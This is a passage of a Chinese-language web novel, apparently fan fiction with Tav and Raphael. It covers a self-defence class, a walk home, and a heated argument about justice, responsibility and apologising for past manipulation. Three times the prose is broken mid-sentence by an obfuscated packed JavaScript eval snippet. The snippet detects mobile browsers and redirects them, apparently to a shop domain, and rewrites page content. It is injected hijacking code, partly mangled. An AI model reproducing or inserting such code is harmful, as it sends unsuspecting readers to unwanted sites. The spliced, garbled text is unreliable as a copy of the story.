语气从委婉到严肃,塔夫总算是打消了拉斐尔送自己洗衣凝液的想法。 事实上,她最后不得不直白地说出自己不大喜欢这香味。拉斐尔表情没有太大变化,但她却看出一丝既疑惑又沮丧的意思。 “没有……那么糟。”塔夫解释说,“而且,我不喜欢也是因为我鼻子格外灵。” 拉斐尔低声重复道:“……不喜欢。” 塔夫想解释说她的意思更像是过犹不及,又觉得这香味哪怕淡淡的她也不见得会喜欢,含糊道:“个人偏好。” 两个人没再就香味讨论下去,继续默默练习掰手指。而原本手指相触相握带来的一丁点粉红泡泡,至此也彻底破裂。 ——拉斐尔看上去在意起来,不仅更加注意距离,每次一结束就退开几步,看上去甚至想向下尉主动提出,做他的示范对手。 塔夫哭笑不得,有些没想到他在这方面这样敏感。又或者是,他这是为了照顾她的感受? . 好在接下来的练习,从肘击,到踩、踢各种部位,都不再是二人一组,而是下尉举着红色的防护拳击护垫,作为大家攻击的对象。 过了一会——据下尉声称——为了提高效率,拉斐尔也拿起两个防护垫,协助一起扮演“坏人”。 又过了一会,变成拉斐尔自己当坏人,下尉在一旁更好地观察并纠正动作: “要做到熟练,直到形成肌肉记忆!而不是在抬起腿之后,才思考自己应该怎么踢、向哪里踢!这个很好!保持这个速度和力量!” 虽然算不上剧烈运动,十几轮练习下来,塔夫哪怕没有出汗,也仍是身体微微发热,这还是在六个人循环练习、有机会休息的情况下。而拉斐尔一直在承受攻击的力道,偶尔还要调整位置,确保击打落在防护软垫上,身体和精神都没有任何休息。 但他看上去一直很轻松,塔夫也没有想到这一点,直到重新开始两人一组练习。 ——情景:坏人从前抱,之,拉头发撞下巴术。 这次,下尉自然地同拉斐尔做起示范。 当下尉从身前环住拉斐尔时,拉斐尔迈出一步稳住重心,接着一手伸向下尉后脑,抓住头发朝下使力拽;另一手挡在下尉脸前,从下巴处向上推撞。 “坏人失去重心向后跌倒时,你们就可以趁机逃跑。”下尉从软垫上爬起,拍拍拉斐尔肩膀,“这位男同学做得特别好啊!” “如果对方是光头呢?或者带着假发?”一人一脸严肃地询问,是大声回答踢蛋蛋的女生。 大家却都笑起来。 “每一次!我都要回答这个问题!这并不好笑!”下尉严肃说,“防身术是死的,人是活的!” 女生扁扁嘴,似乎还有什么问题,但没有继续问。 下尉一挥手:“开始练习!” . 塔夫和拉斐尔再次相对而立,他看上去几乎有些拘谨,慢慢向前一步,缓缓抬起手。 二人之间不再隔着拳击护垫,塔夫终于发现拉斐尔身上其实也微微冒着热气。 持续运动以及窗子大开,他衣服上的浓烈香精味散去许多,塔夫熟悉的气息又隐约出现,带着热意,像是被体温从皮肤中蒸腾而出。 那到底是古龙水或须后水?塔夫瞧着拉斐尔光洁的下巴和脖颈,还是……他自己的气味? 她下意识地又吸了下鼻子,拉斐尔正迈出的一步便生生停住。 塔夫猛地生出一股羞恼,也不知道是因为自己刚才的念头,还是因为之前直白地说不喜那香味,令拉斐尔现在仍感到不自在。 她忽地贴近拉斐尔身前,伸长手臂,一手抓拢他脑后柔软的头发,另一手掌根轻推他下巴,又深吸一口气:“向后倒。” 拉斐尔望着她的眼睛,怔了怔,便立刻配合地向后跌坐下去。 塔夫却没有反应过来他居然真的要摔倒在垫子上,手仍抓着他头发。加上刚才上前时跨得有些远,脚落在他身后,此时一下被带得失去平衡,向前一个踉跄。拉斐尔连忙伸出手,似乎想要帮她稳住平衡,手指却搭在她腰后,反而让她整个向他扑了下来。 一切发生得太快,塔夫只来得及呼出一声:“啊?” …… 直摔在软垫上,塔夫才记起松开手,又很快意识到现在的情况。 她正俯视着身下的拉斐尔,一手撑在他脸侧,一手抚在他胸口,一条腿半跪在他身旁,另一条腿的膝盖却卡在他两腿间。而拉斐尔半仰着上身看向她,头发被抓得有些凌乱,满脸通红,薄唇微张,像是仍无法接受发生了什么。 和她的目光对视片刻后,他轻轻吞咽了下,但没有说话,只是有些难堪地转过头,接着身子明显一僵,喉结重又耸动。 塔夫跟着转过头,看向镜子中交缠的倒影,终于也有些脸颊发热。 如果不是拉斐尔一只手仍搭在自己腰后,添了几分暧昧,否则她这姿势,配上他那神情,就好像是她正要强迫他行什么不轨之事似的!? 镜子中,众人围了过来。塔夫抿抿唇,一边爬起身一边重新看向拉斐尔,半是向大家解释半是问他:“你怎么真的向后摔倒了?我以为只是做个样子。” 一个女声听上去格外兴奋又严肃:“这正是我之前还想要问的关键。如果对方比你强壮很多,把你拽倒了怎么办?” 下尉正帮塔夫站起身,并再次摆出一脸恨铁不成钢的表情:“我之前说过,第一步是什么?” 塔夫低着头,没说话,下尉已经自问自答起来:“稳住重心!重.心.是关键!”他看着塔夫,“不过,你为大家做出了错误示范。做得很好!” 塔夫:…… 下尉接着也向拉斐尔伸出手。他没有接受,自己站了起来,下尉口中则继续说: “这不是你们两个人的跌倒,而是在场所有人的经验教训!做得很好!” 塔夫:你可别再夸了!尴尬死了!! . 虽然没有受伤,塔夫还是申请暂时休息,主要是靠在窗前降降温,拉斐尔在离她几步远的另一扇窗前。塔夫大部分时候垂着眼,却忍不住时不时偷偷去瞧他,直到一次被他捉个正着。 她眨下眼睛的功夫,拉斐尔就直接走了过来,站到她身旁低声道:“看镜子。” 塔夫:“?” 她抬起头,看向镜子中的二人,莫名想要微笑,却仍然不解。拉斐尔叹口气,又轻轻偏下头做出偷看她的样子。塔夫反应过来,她以为自己是在偷偷瞧拉斐尔,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027416|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每次都被他看在眼里。 “你现在才告诉我?”好尴尬啊!!! 拉斐尔无奈瞧着她,像是没想到她居然反过来告状,塔夫已经忍不住笑起来:“刚才我……”她忽然难为情起来,不知道应该说什么,清了清嗓子,仍是犹豫。拉斐尔轻笑着回道:“我知道了。” 塔夫倒有些诧异:“知道什么?” “你的道歉。” 塔夫:“……” 这家伙,为什么默认是她道歉?不会是因为她上次做错了,就一直做错吧。而且,她道歉之后,他好像也只回应过“嗯”,或“知道了“。 想到这,塔夫干脆问:“那你接受吗?我的道歉。” 拉斐尔居然停顿片刻:“是的。” “真的?” “真的。” 塔夫起了玩闹的心思:“那你说,没关系,我原谅你了。” 拉斐尔张了张嘴,又顿住,过了一会才低声说:“没关系,我原谅你了。” 塔夫转过头飞快看他一眼,又重新望向面前,从镜子中与拉斐尔对视,冲他笑了笑,比口型道:我也是。 她不确定拉斐尔有没有看明白,就好像她不太清楚他刚才为什么是那样的语气,倒好像道歉的是他,又或者是他在遗憾什么。但这似乎没那么重要。 塔夫透过镜子一直盯着拉斐尔瞧。他表情重新变得有些无奈,最后还是慢慢弯起唇,又转过头望向真实世界中的她。她在镜子中看到这一幕,也忍不住翘起嘴角。 二人目光通过镜子再次相汇,塔夫仿佛能看到有什么在流淌,不仅仅是令人心跳加快的情愫,还有一种让人愉悦的舒缓和轻松。 “休息好了就来练习!”下尉也看得一清二楚,又很不看气氛地冲二人大喊。 塔夫飞快站直,看向拉斐尔:“我们继续?” 拉斐尔笑着说:“好。” . 二人重新面对面站在黑色软垫上,塔夫走近一步,拉斐尔却往后退了一步。 塔夫:?刚才不是还好好的? 这场景过于眼熟,但身份调转过来。不过看拉斐尔不自在的样子,不像是以牙还牙,倒更像是他突然又想起自己身上的香味太浓,会惹她不喜。 塔夫没说什么,只示意拉斐尔她已经做好准备,可以重新开始练习,等捉住拉斐尔头发后,才笑眯眯对他说:“别.担.心,你现在闻起来已经和以前差不多了。” 她本以为拉斐尔会和她玩笑几句,至少评价她模仿得像不像之类的,没想到拉斐尔居然又后退一步。而她正揪着他的头发,差点被他带进怀里。 不过这次,拉斐尔成功扶住她,他自己也很快重新站好,一手捂着脖子,清了清喉咙:“我知道了。” 他脖子明显变红,塔夫也后知后觉地发现自己刚才那话实在有些不妙。 先不提语气是不是过分轻佻。闻起来和以前差不多? 这不是告诉拉斐尔,她以前也闻过他吗!?虽然是事实不假,但这样直接说出来就是另一码事了。 塔夫一时不知道如何解释补救,似乎无论怎么说都有不妥之处,窘迫之中却生出一个急智,: “警官!我有一个问题!” . 46.缺陷 “怎么了?”下尉沉声问,来到塔夫和拉斐尔二人身边。 塔夫一脸乖巧好学:“如果被坏人抓住头发,又应该怎么处理?” “这是个好问题!我碰巧有办法!” 下尉挽起袖子,露出青筋微凸的结实小臂,准备用肢体语言同塔夫生动形象地说明一番,结果胳膊被拉斐尔轻松一把抓住,顿时动弹不得。 拉斐尔微笑看着他,语气诚恳道:“请在我身上演示。大家可以一起学。” “手劲很大。”——某匿名下尉警官的公正评价。 “看上去有点吓人,但应该是个好人。”——某匿名半身人的矛盾评价。 “让我们多学会一个很实用的防身小技巧。”——某匿名女生的热情评价。 “虽然和想象中不太一样,但也算是成功地转移了注意力。”——塔夫的心虚评价。 …… 自卫防身术课结束的时候,大家都有些意犹未尽。 踢蛋蛋女生又一次说出好几人心中的想法: “如果能有学分就更好了。或者是变成有学分的一门课!” 下尉一脸严肃地接受反馈:“我会记下,汇报上去。非常感谢你的建议!”接着他变成一脸感动地同每一个人一一对视,最后感慨说,“大家今天都做得非常好!按你们现在的水准,回去教同学或者朋友,都完全不在话下!” 塔夫心暖暖的:临走之前,又被警官鼓励了呢,我要教给影心! 影心继续嘲讽:呵,我看他只是想把教防卫术的工作分给学生。 . 离开练习室,塔夫看了看时间,虽然距兼职开始仍有一段,她还是打算直接去镇上,正准备同拉斐尔告别,他却再自然不过地说: “我正好也要去那里。” 塔夫忍不住笑着瞥他一眼。 拉斐尔清了下嗓子,强调:“顺路。” 塔夫没有问他具体要去哪里、做什么,开开心心聊着刚才的防卫课,等到镇广场真正道别时,也装作再自然不过地问:“那一会晚上再见?” “嗯。”拉斐尔微笑说,接着一顿,反应过来后补充道,“如果……的话。” 塔夫便一直笑吟吟瞧着他,拉斐尔眯了眯眼睛,相当熟练地转移谈话焦点:“你原本打算晚上一个人回去?在有跟踪嫌犯的情况下?” “我可是刚学会自卫术。”塔夫也没有继续问下去,顺着他的话说。 “你听上去很自信。”不过,他的语气明显是“她过于自信”。 塔夫朝拉斐尔比划了一下:“试试看?看我能不能挣脱坏人。” 拉斐尔笑着摇摇头:“你应当看到了,哪怕是下尉本人,也无法挣脱我。” “你听上去更像是在虚张声势。” “实力相差太悬殊的时候,这种技巧恐怕不会有用。” “少瞧不起人了!” “来真的?” “放马过来!” 拉斐尔挑了下眉,表情变得严肃些,朝她胳膊猛地伸出手,却又在碰到她之前堪堪停下。 没有了警官指导、同学嬉笑的环境,防卫术练习似乎一下变得暧昧起来,甚至给之前的记忆也蒙上一层柔和的轻纱。 塔夫专注盯着拉斐尔的手背和露出的一截手腕,脸颊却开始微微发烫。 他为什么这么在意呢?明明第一次见面时,他就捉过她的手。 而且,为什么明明没有触碰到,却还是能令人心跳不已。 “遇到坏人的自卫准则第一条。”她突然飞快跑开,好几步之后这才转过身,“保持距离!” “做得非常好!”拉斐尔模仿下尉的语气,又像是他原本的计划就是给她机会逃跑,接着,他笑着朝她挥了挥仍悬在半空的手,“晚上见。” . 塔夫在员工休息室囫囵吃着兼职提供的晚餐,终于能细细思索自己的心情。 这不是第一次有男生主动关照她,也不是她第一次感到心动。那么,和以前她立刻用各种不同方式划清距离相比,这次有什么不一样。 时间上更合适,甚至可以说刚刚好。 之前她需要专心学习、参加社团活动、准备申请材料,现在大部分已经完成,她只需要附上推荐信和成绩单。下学期一开学,通过医学院的标准化考试后,她有近一整年时间,可以稍微放松一下,用影心的话来说“享受错过就不再有的校园恋爱”。 此外,她和拉斐尔的相识的方法也有些特别。 如果是上课或活动相遇,她可能仍会认为他外表迷人、很有魅力,但也只会停留在那里。她大概不会同他有更多接触,他始终会是传闻中的一个人物,并不是真实的。 而现在,她慢慢地…… 好吧,她其实第一眼就被他吸引,可同时又十分厌恶他傲慢和咄咄逼人的态度,反感和理智始终占据着上风。直到她发现那印象已经成为偏见,一直以来扭曲了自己对他的看法。 拉斐尔其实并没有变,他还是那个有些刻薄和高傲的人,可是当她终于摘掉眼前的遮蔽后,突然发现了他的可爱之处,意识到原来他也是一个会难过有矛盾的活生生的人,之前被压抑的情感也一起涌了出来,直接从心动变成了喜爱。 还有一点,虽然不是主要的但存在——那毕竟是拉斐尔。被条件这么优越的人喜欢,也满足了她的一些虚荣心。 . 吃过晚餐,很快又开始工作后,塔夫被更多地拽回现实。 ——那毕竟是拉斐尔。 他拥有古老的贵族姓氏,成长背景与她有着天壤之别。恋爱初期,她也许会感到新鲜和喜欢,但以后呢?那些不同一定会导致两人间的不理解和摩擦。哪怕是现在,她其实仍对他有一点始终介怀。 当初,他可是真的只是为了让她低头、接受同他的交易,便直接使手段让主要演员离开剧团。 想到一个不足又引出更多,塔夫苦笑。 不仅仅如此,拉斐尔并不认为自己有什么错,那不过是为了实现他想要的结果。事实上,相识至今,她甚至一次都没有听过他道歉。 喜爱的光环褪去后,她真的能接受这种性格吗? . 尽管对拉斐尔的看法重又变得复杂,临近工作结束,塔夫还是兴奋期待起来。最后一桌客人离开,她将杯盘收回厨房后,已经忍不住先探身向外望去。 拉斐尔等在上次的位置,一见到她眼睛和嘴唇一起弯了起来,又立刻垂下眼清了清嗓子,这才重新望向她:“结束了?” 塔夫也绽出笑容:“还没有,不过很快。要进来吗?” “我在这儿等你。慢慢来,别担心。” 塔夫退回到餐厅,心情愉快地打扫收尾,弗兰打趣问:“男朋友又来接你?” “不是男朋友。是同学。” “但相互有好感吧。” 塔夫抿抿唇,还是笑起来:“也许。” “真可爱!”弗兰一脸幸福地感慨后,又忍不住传授起过来人的恋爱经验, “不过也要记得擦亮眼睛,看到重大危险信号的话,一定要干脆利落地分手,特别是性格上的缺陷,很多都是改不了的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037515|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另一个侍者姑娘也跟着打趣起来:“塔夫还没开始呢,你就已经要她分手!” “我不是这个意思!”弗兰瞧着塔夫,“不过听上去是有点泼冷水,希望你别介意。喏,这次的小费,数数看。” “没关系,我当然知道你们的意思。” 塔夫笑着数了数——今晚生意很好,有七十多个金币——她小心收到钱袋里。 “快去吧!”弗兰微笑说,“下周见。” . 塔夫克制着不要直接冲出餐厅,脚步却明显轻快。但当她看着拉斐尔笑着迎上来时,几乎想要扑过去给他一个拥抱。 啊,可惜她不能,哪怕是朋友间的也不行。 她站在他身旁:“你还回去换了一身衣服?” “因为下午的防卫课。” “可我没换衣服。” “这又没什么。” 真是双重标准,塔夫笑着瞥拉斐尔一眼,一起回学校。 然而路上,弗兰所说的“危险信号”却像灯泡一样在她脑袋里闪烁。她很清楚自己正在介怀一个,却又担心和之前一样失之偏颇——毕竟,她得知这件事时,已经和拉斐尔处于争吵的边缘,两人都不免带着情绪。 她也不好现在直接问:“你真的不觉得那件事自己做错了吗?” 因为那整场事是以她的道歉收尾,这样问让之前的道歉倒显得不真诚起来。 塔夫不由得有些心烦气躁,哪怕真的要问,可能也还是等到演出结束后再说。或者,等拉斐尔犯一个别的什么错,看他会不会承认? “期末复习压力有些大?”拉斐尔似乎看出她的情绪。 “其实还好。你呢?”塔夫朝他笑了笑,心里却一凛。 她正琢磨着设计一个情景让拉斐尔犯错,此时立刻否决了这念头。 拉斐尔很敏锐。不过更重要的是,她考验拉斐尔的时候,自己又是什么立场和身份。如果她欺瞒设计对方在先,无论得到什么结果,自己总是不公正的一方。 她有些分神,拉斐尔说起他的某一门课时,她只是随口嗯着,没有太细听,也没有认真回应。 ——事实上,她这一路都是如此。 而拉斐尔见她兴致缺缺,也慢慢淡了下来。 塔夫又一次心不在焉地“唔”过后,他没再继续说下去,二人都沉默不语。 这次的沉默和之前几次不一样,带着尴尬和别扭。 可不过十几分钟前,她刚见到他的时候,两人都多开心啊!现在就已经变成这样。 虽然塔夫知道这变化有一多半是因为自己,却莫名有些委屈。不过既然她不喜欢这沉默,还是主动开口问: “对了,我居然一直不知道,你的专业是什么?刚才那门课是你的专业课吗?” “我没有专业。” 拉斐尔的回答很简短,塔夫也不再说什么,心里多了几分恼火,又想起防卫课上的那一幕。虽然是她压在拉斐尔身上,可再怎么说都是两个人的尴尬,结果他就默认该她主动,该她道歉。 过了一会,拉斐尔再次开口,声音有些低:“你感兴趣知道这是为什么吗?” 不快消失大半,塔夫飞快瞧了拉斐尔一眼,被他视线捉个正着。她居然直接忽视了,下午的时候,拉斐尔也一直从镜子里看着她,又走到她身边,主动开口。 “我其实在等你说呢。” 塔夫忍不住微笑,觉得其实很多事情都可以用这一个问题解决,至少开启讨论和理解, “我当然想要知道。为什么?” . 47.正义 塔夫话刚问出口,拉斐尔便解释起来,并且像是怕再次冷场似的,说得很仔细。 入学时很多人都是未定专业。大学鼓励学生第一年结束后确定下方向——此时应该已经修完全部通识性课程,大二便可以开始学习专业课。 塔夫是少数一入学就确定自己专业的人之一,选修课也完全按照医学院的要求和建议来,不过拉斐尔与她正相反。 她有些惊讶:“这会影响毕业和学位吗?” 拉斐尔道:“不会。至于学位,只要修够某专业的课程和学分,也不会影响。” “所以理论上来说,你可以一直等到大四毕业前才决定专业?” “没错。” “那你之后……”塔夫说着顿住,对贵族来说,担心一份具体的工作才是不体面的事。她想了想,回到开始的问题,“那你知道自己会是哪个专业的吗?” 拉斐尔两个都回答了:“政治学或者历史。之后继续读法学院。” “和阿斯代伦一样。”塔夫又好奇,“政治学是学什么?权威与民主?” 她隐约意识到这讨论可以夹带自己对拉斐尔“危险信号”的探寻,继续问道, “或者,公平与正义?” “那更多是政治哲学,我们有涉及,不过内容主要还是国家和势力关系。比如我刚才说的那门课,研究的是休战协议与和平条约的影响。” “听上去倒更像是历史?”塔夫有些不好意思,她刚才并没有注意听。 “毕竟政治无法超脱历史存在。”拉斐尔并不在意。 塔夫被勾起最爱的童年丛书的回忆:“和平条约吗。像是血战结束后,魔鬼与众神签订的契约。” 拉斐尔轻笑:“哦?” “费伦大陆历史上,正义最伟大的一次胜利!从此魔鬼不再能蛊惑人心、交易灵魂,而是成为费伦大陆上的众多种族之一!”塔夫说着又有些可惜,“不过和诸神的命运石板一样,没人知道那契约里约定了什么,所以更像是传说。” “正义的胜利?什么正义?”拉斐尔语气似乎有些嘲弄,但很快又点点头,“也许。毕竟如果拿走正义,任何王国和权威不过是一群强盗和海贼的联合。”[1] 塔夫原本是想将话题引向之前的交易以及拉斐尔做错事不道歉上,此时倒生出更真诚的兴趣:“正义很重要是一回事,正义是什么又是另一回事。” 这答案不会简单,不过正义之神提尔对其有生动说明。 神殿中,他总是一手持长剑、一手提天平的战士形象。所以,正义与奖善罚恶有关——即分配正义,也与平等对待有关——即交易正义。[2] 尽管具体的定义还是难以明确,但实践中,几乎只靠直觉就会有很好的把握。 比如,她和里萨之前不约而同地认为,拉斐尔为剧团解决麻烦、付出许多,那他就应该得到更多。虽然得到什么在价值上不好衡量,但“更多报酬”这种倾向却是肯定的。 …… 与塔夫主要分辨个人行为是否正义不同,拉斐尔更多的是讨论社会与制度的正义性,甚至是必要性。 塔夫忍不住说:“我从小接受的看法是,权威、制度,都无法用正义或不正义来描述。” 虽然贾希拉并不反对“权威”的存在,但她总是说,制度是一种意识混沌的生命体,为了存活下去,会用各种手段保存自己。而正义,则是自然人才能够拥有的行为和属性。 拉斐尔挑了一下眉:“她是德鲁伊学派的学者?” “她没有提过什么学派。”塔夫想了想,“我们生活在农场,不过是有挺多书。” 拉斐尔唔一声,简单介绍:“这个学派认为,虽然文化和制度都诞生于真实的生活,但诞生的那一刻起就开始凝固、僵化,以表面的生机掩盖同生命力的分离,最后逐渐衰退成一个壳,并反过来禁锢生活。所以,一切不是生活本身的概念,都既源于生活,又扼杀生活。”[3] 塔夫开心接道:“是这样的。她总说要感受生活本身。” 拉斐尔只是点点头。 塔夫好奇:“你怎么看?” “这是一种观点。” “而你并不认同?” “某种程度上。” 塔夫很快理解:“因为你是贵族。”他的身份就存在于贵族制度之上。 拉斐尔笑着瞧她一眼: “不仅仅是身份认同。我赞同感受生活本身,但不认为制度只是一个禁锢生活的壳。 “生活本身充满混乱,而这层壳能够阻隔混乱,给壳中的人提供秩序感和安全感,使其不需要在混乱中浪费无谓的精力。或者这么说,人们让渡一部分自由,以生活在有序而不是混乱的世界。” 塔夫还是不太赞同: “这秩序是谁来定的?而且,当一个人付出自由的时候,是她自己做出的决定,还是被强迫的呢?” “如你母亲或者德鲁伊学派所言,秩序诞生于混乱的生活,本身就是源于人们的需要。至于是否是自愿决定,从出生开始,一个人就无法独立存在于这世界中。 “我可以举一个很简单的例子,在博得安大学,你按课表上的时间去指定的教室,就很有可能见到预想中的教授,获得期望中的课程。” “可我并没有受到任何禁锢。也没有付出任何自由。” “你当然丧失了一部分自由——课表的时间和地点都不是由你决定的。不过在这过程中,你并没有感受到束缚,不是吗?相反的,你因此而受益——免去来回商议时间和地点的需要。 “你当然可以说,这种秩序带来的结果未必比亲自商议更好,比如早上八点开始的课就没人喜欢。但总的来说,一定还是让你的生活更加轻松容易。” 塔夫没有被说服,但这问题可以从很多角度讨论,每个角度深谈下去大概都可以说很久,而她已经远远看到宿舍的塔尖。 最后,她只是说了想到的第一点:“是我选择了去上某门课。这选择本身就是一种自由。” “这点我同意。”拉斐尔轻笑,“不过有的时候,可能只是看上去如此。” 塔夫怔了怔,下意识地嘲弄着反问:“比如,你给剧团那两位男演员的选择?” 拉斐尔慢慢收起表情,嘴唇绷紧,发出一声感慨:“哈。” . 塔夫有些意外自己这样问出口。 刚才聊天,虽然她和拉斐尔对话题的关注点、看法甚至做法上都不甚相同,但她很乐在其中。现在,却像是她一步一步将拉斐尔引导向这个质问。 . 她一时不知道说什么,拉斐尔已经继续回答道: “只是针对这个问题本身,我的回答没有变,做出决定的是他们。”他声音放低, “不过,你的问题似乎不仅仅是这个。” 如果说塔夫刚才还有些懊恼自己破坏了气氛,现在也被拉斐尔平淡的阴阳怪气激起怒火。 她做了一个深呼吸,提醒自己,她想要做的是了解他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你还并没有告诉我你的想法。” “你到底在说什么?放开我!” 拉斐尔松开手,但仍拦在她身前:“你为什么重新提起这件事?我以为已经过去了,你今天下午更是肯定了这一点。” 塔夫不可置信:“你是认真的?” 拉斐尔说:“我已经解释过,我们当初立场相对。至于现在,剧团演出并没有受到影响。” 塔夫深深吸了一口气,拉斐尔的逻辑和她当初说服自己翻过这页时一模一样,可是她还是感到无比恼火: “不仅仅是剧团的演出。我的推荐信,我的申请,我的奖学金,所有的一切,只是因为我不肯接受你的那个要求,就要受到影响?你真的认为这是无所谓的? “是,现在事情已经回归正轨,可你受到的惩罚是什么?和我的契约?但那对你来说,不过是另一个交易!哪怕是惩罚,也只是为了弥补剧团演出……可我呢? “我简直无法相信,我之前还感到幸运是通过这种方式认识你,才有机会了解你喜欢你。而现在,我更希望一开始就不要和你有任何接触!” 拉斐尔望着她,眼睛里闪着大概是兴味的光,嘴唇慢慢翘起又立刻抚平,却始终缄默不语。 重新见到这仿若旁观者看戏似的反应,塔夫慢慢呼出一口气,觉得居然仍存有一丝期望的自己可笑极了。她甚至忍不住自嘲笑了下: “还是谢谢你送我回来。再见。” 她干脆地转身离开。 . 48.错误 “你还来?!” 这次是手腕被拉斐尔抓住,塔夫只觉得无奈, “你又想说什么?” “你喜欢我。” “什么?!” “你刚才说你喜欢我。” “不!我没有!” “你说过。” “你听错了,我说的是欣赏。” “我没有听错。你说的是喜欢。你喜欢我。” “……” 塔夫被这没营养的重复对话气笑了:“就算我真的说过,这就是你唯一能听到的?” 拉斐尔看着她,手握得更紧:“你最后说希望一切没有发生?但这句话并不是真的,对吗?你喜欢我。” 塔夫被握得几乎有点疼,挣了下,手腕上的禁锢松了些却没有放开,她更生气了: “你可真是够自恋的,只能听到那一点点对你的‘喜欢’。所有之前其他的,你都选择性无视?” 她讥讽道,“而且就算我真的这么希望,你也会主动找上门来,不是吗!?” 拉斐尔声音很轻:“是的,我不后悔我的决定。事实上,如果重来一次,我仍会这样做。” “是吗?”塔夫顿了顿,做了一个深呼吸,终于可以平静道,“那你可还真是一个混蛋。” 拉斐尔居然笑了:“我的意思是,我和你的想法是相同的。” “喔哦,我们居然在某方面达成了共识?既然你也知道自己是个混蛋,现在可以请你放手了吗?” “如果你能保证,继续听我把话说完。” “你到底有什么问题!?松手!我手腕要断了!!你这个混蛋!!!” 拉斐尔松开手,但下一刻就重新双手握住她的手:“我也是这样认为的!如果不是通过这种方式,我恐怕不会对你产生兴趣,也许甚至不会记得你的名字。” 他表情激动不已,甚至带着一种喜气洋洋,可说得话又如此露骨的惹人厌恶。塔夫一时目瞪口呆,心里又不禁迷惑起来,拉斐尔是想要再次被骂混蛋吗?他其实喜欢被叫这个?他自己知道吗? 她睁大眼睛瞪着拉斐尔,气得满脸通红,拉斐尔却似乎把这当作她在害羞,受到鼓励,脸上流露出更多喜悦,继续说道: “而现在,请允许我告诉你——我也是几天前才说服自己这并不是什么值得……” 他轻咳一声,掩饰一个明显是负面的形容,“尽管如此,我认为我们的关系可以继续,因为我也想要了解你更多,我也喜……” “你说的是什么疯话!?”塔夫终于听不下去了,“就在我刚说完那些之后?” 他之后一番话难道是在吐露好感吗?可为什么仍能带着屈尊俯就的傲慢,仿佛这一种多么大的恩惠似的。 拉斐尔看上去诧异极了,又带着一种被拒绝的恼火,嘴唇一下绷得笔直,颤抖着开口又立刻抿紧。 “你才根本不想了解我!”塔夫嘲弄道,“否则,你怎么会只记得我说的那一句‘最不重要’的话?” 拉斐尔勉强平静下来,反驳道:“那不是真的。我记得你说过的大部分话。” 塔夫又被气笑了,语气更加尖刻:“而这就是你的回应?你根本什么都没有听懂!” “那么告诉我,你期待的回应是什么?” “这真的不够明显吗?承认你之前做的那些事是错的!然后道歉!” “我们又重新回到这个问题了吗?我已经做出过回应。我不认为我做错了任何事!尤其是现在,正确与否已经没有那么重要,而道歉更是一种……”拉斐尔忽然顿住,接着手握得更紧,“不过当然,如果你需要我道歉的话,我可以……” “不需要!因为你没有一丁点真诚!”塔夫打断他,“继续说,道歉是什么?别再装模做样地掩饰了,我能承受得起。” “是承认无能以及失败,只会暴露出一个人的软弱。”拉斐尔又一次被打断嘲讽,心情烦乱中脸色变得更差,语气也不再镇定,刻薄起来, “更重要的是,道歉不会改变任何事情。而没有行为改变的道歉,不过是毫无意义的言辞,不过是为了减轻心中负罪感,或者用作道德和情感负担,施加压力进而操纵对方。” “这就是你对我之前道歉的看法?”塔夫倒吸一口气,“毫无意义?或者是为了迫使你做什么?” “……”拉斐尔沉默。 塔夫不可置信地盯着他,过了一会恍然道:“你那时的确是这样说的。我向你道歉,是因为我需要你帮剧团解决麻烦。” “我,并不否认。”拉斐尔望着塔夫的眼睛,停顿片刻又飞快再次说,“我承认,我最初的行为也许确实造成了一些,不那么受欢迎的后果,而我已经做出弥补。” 他的声音变得恳切真诚,“但是,如果你仍希望我道歉,我愿意……” 塔夫怒道:“我用不着‘你’的愿意!” 拉斐尔让步数次未果,终于也恼羞成怒,一下松开她的手:“你到底想要什么?” “你的道歉!” “这正是我打算做的!但你阻止了我,不是一次,而是两次!” “不。这不一样。” “那你不如试着告诉我,哪里不一样?” “我只能向你解释,我当初为什么向你道歉。”塔夫重新想到拉斐尔的那番评价,几乎有泪意上涌, “我说的话很难听,伤到了你,所以我希望通过承认自己的错误,让你可以对我释放一些……不好的情绪,可以从我给你的那些伤害中更快恢复,因为我希望可以修复我们的关系。” “这也是我希望的!”拉斐尔说,“修复——显然这步对你来说是仍然必要的——以及更重要的,继续我们的关系……” “不一样!你只是想要得到你想要的!根本不管别人!” “那不是真的!你根本不知道我是怎么想的!” “你之前做的那些事不正是如此吗!?而你现在认为那些事已经彻底结束了,不是吗?也许你是对的,正确还是错误到现在已经没那么重要了,可是你做那些事的时候,根本没有尊重我的想法、我的感受。 “还有刚才,甚至现在,你用那种方式,说我之前的道歉是……没有意义的虚伪的言辞,我也会感到受伤,也会感到难过。我想理解你的想法,我想在乎你的感受,而所有这些,对你来说都是无所谓的。” 塔夫越说越感到眼泪在眼眶里打转,努力一直睁大眼睛盯着拉斐尔,可眼泪最后还是落了出来。拉斐尔喉结轻轻动了下,移开视线,没有说话。 塔夫忽然感到一种奇怪的怜悯:“我的解释足够清楚了吗?” 拉斐尔重新看向她,又怔了一会才说:“你刚才的话,关于我的部分并不准确。” 